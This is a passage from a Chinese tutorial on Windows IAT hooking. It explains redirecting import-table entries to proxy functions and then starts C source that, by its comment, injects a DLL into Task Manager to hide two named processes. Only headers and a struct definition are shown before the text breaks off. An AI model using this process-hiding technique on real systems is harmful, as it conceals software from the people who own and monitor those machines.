1 .技术与实现
每个调用的 API 函数地址都保存在 IAT 表中。 API 函数调用时,每个输入节( IMPORT SECTION )所指向的 IAT 结构如下图所示。
程序中每个调用API 函数的CALL指令所使用的地址都是相应函数登记在IAT表的地址。所以为了截获API 函数,我们将IAT表中的地址换成用户自己的API PROXY函数地址,这样每个API调用都是先调用用户自己的API PROXY函数。在这个函数中我们可以完成函数名称的记录、参数的记录、调用原来的过程,并在返回时记录结果。
2.源码
// win64 注入dll到需要实现隐藏aaa.exe bbb.exe进程的程序中 入task任务管理器
#include "stdafx.h"
#include <stdio.h>
#include <shlwapi.h>
#include <process.h>
#include <Commctrl.h>
#include "tlhelp32.h"
#pragma comment(lib,"ntdll.lib")
#define STATUS_SUCCESS ((NTSTATUS) 0x00000000L)
typedef int (WINAPI *PFNMESSAGEBOX)(HWND, LPCSTR, LPCSTR, UINT uType);
//new messagebox function
typedef struct _MY_SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
ULONG BasePriority;
HANDLE ProcessId;